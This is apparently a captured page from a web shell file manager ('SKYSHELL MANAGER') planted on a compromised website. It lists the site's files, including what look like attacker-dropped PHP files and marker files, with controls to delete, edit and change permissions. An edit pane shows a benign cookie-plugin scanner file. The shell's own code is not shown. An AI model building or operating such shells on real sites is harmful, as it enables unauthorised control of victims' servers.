📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: scanner.php
<?php namespace CookieAdminPro; if(!defined('COOKIEADMIN_PRO_VERSION') || !defined('ABSPATH')){ die('Hacking Attempt'); } class Scanner { const SCAN_TIMEOUT = 55; // Seconds /** * The main public method to start the scan. * * @param string $urls_to_scan The URLs of the site to scan. * @return array|\WP_Error The formatted array of cookies on success, or a WP_Error object on failure. */ public static function start_scan($urls_to_scan) { global $cookieadmin, $cookieadmin_error; $args = [ 'method' => 'POST', 'timeout' => self::SCAN_TIMEOUT, 'body' => [ 'urls' => $urls_to_scan ] ]; $api_url = cookieadmin_pro_api_url(-1); $url = $api_url.'scanner.php?scanner=1&license='.$cookieadmin['license']['license'].'&url='.rawurlencode(site_url()); // Use the built-in WordPress HTTP API to call your PHP endpoint. $response = wp_remote_post($url, $args); // --- Handle the response from the scanner server --- if (is_wp_error($response)) { // This catches network-level errors (e.g., DNS lookup failure, cURL error, timeout) $cookieadmin_error = $cookieadmin_error . ' ' . __('Network error: ' . $response->get_error_message(), 'cookieadmin'); return false; } $status_code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); // Handle specific errors from our endpoint if ($status_code !== 200) { $error_message = $data['error'] ?? 'An unknown error occurred on the scanner server.'; $cookieadmin_error = $cookieadmin_error . ' ' . __('Status Code: '.$status_code. ' ' . $error_message, 'cookieadmin'); return false; } if (json_last_error() !== JSON_ERROR_NONE) { $cookieadmin_error = $cookieadmin_error . ' ' . __('The scanner server returned an unreadable response.', 'cookieadmin'); return false; } update_option('cookieadmin_pro_scanner', array('last_scan' => time())); if(!empty($data['cookies'])){ // Success! The data is valid. Now format it for our internal use. return self::format_scan_results($data['cookies']); } return array(); } /** * Converts the cookie array from the API into our internal format. * This is the same formatting function you had before. * * @param array $scan_results The array of cookies from the scanner. * @return array The formatted array ready for the database. */ private static function format_scan_results(array $scan_results) { $formatted = []; foreach ($scan_results as $cookie) { $expires_datetime = ($cookie['expires'] && $cookie['expires'] != -1) ? gmdate("Y-m-d H:i:s", (int)$cookie['expires']) : null; $formatted[$cookie['name']] = [ 'name' => $cookie['name'], 'value' => $cookie['value'], 'expires' => $expires_datetime, 'path' => $cookie['path'], 'domain' => $cookie['domain'], 'secure' => (bool)$cookie['secure'], 'httponly' => (bool)$cookie['httpOnly'], 'Max-Age' => null, 'samesite' => $cookie['sameSite'] ?? null, ]; } return $formatted; } }
Save